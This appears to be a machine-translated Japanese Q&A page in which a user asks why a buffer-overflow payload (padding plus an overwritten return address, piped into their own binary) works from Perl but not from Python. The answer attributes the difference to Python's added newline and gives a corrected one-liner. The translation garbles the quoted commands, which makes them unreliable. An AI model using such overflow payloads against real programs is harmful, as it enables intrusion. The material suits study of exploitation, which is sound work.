2016-10-29 9 views
0

私はバッファオーバーフローを悪用しようとしています。 私はそれがこの仕事を悪用C. に私のプログラムを掲示するのに便利だとは思わない:なぜ私の悪用がperlで動作するのですか?それはPythonではありません

(perlの-e「印刷 "" ×280「\ XF6 \ X06 \ X40 \ X00 \ X00 \。 x00 \ x00 \ x00 "'; cat)|

しかし、この1つはないではない

(のpython -c「プリント( "" * 280 + "\ XF6 \ X06 \ X40 \ X00 \ X00 \ X00 \ ./a.out x00 \ x00 ") '; cat)| ./a.out

私が使用する言語以外は何も表示されません。違いがあるのなら誰でも私に教えてくれますか?

ありがとうございました

答えて

0

はい、違いがあります。 Perlのprint関数は、デフォルトでは改行を出力しませんが、Pythonは改行を出力します。 Pythonで試してみてください:

(python -c 'import sys ; sys.stdout.write("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out 
関連する問題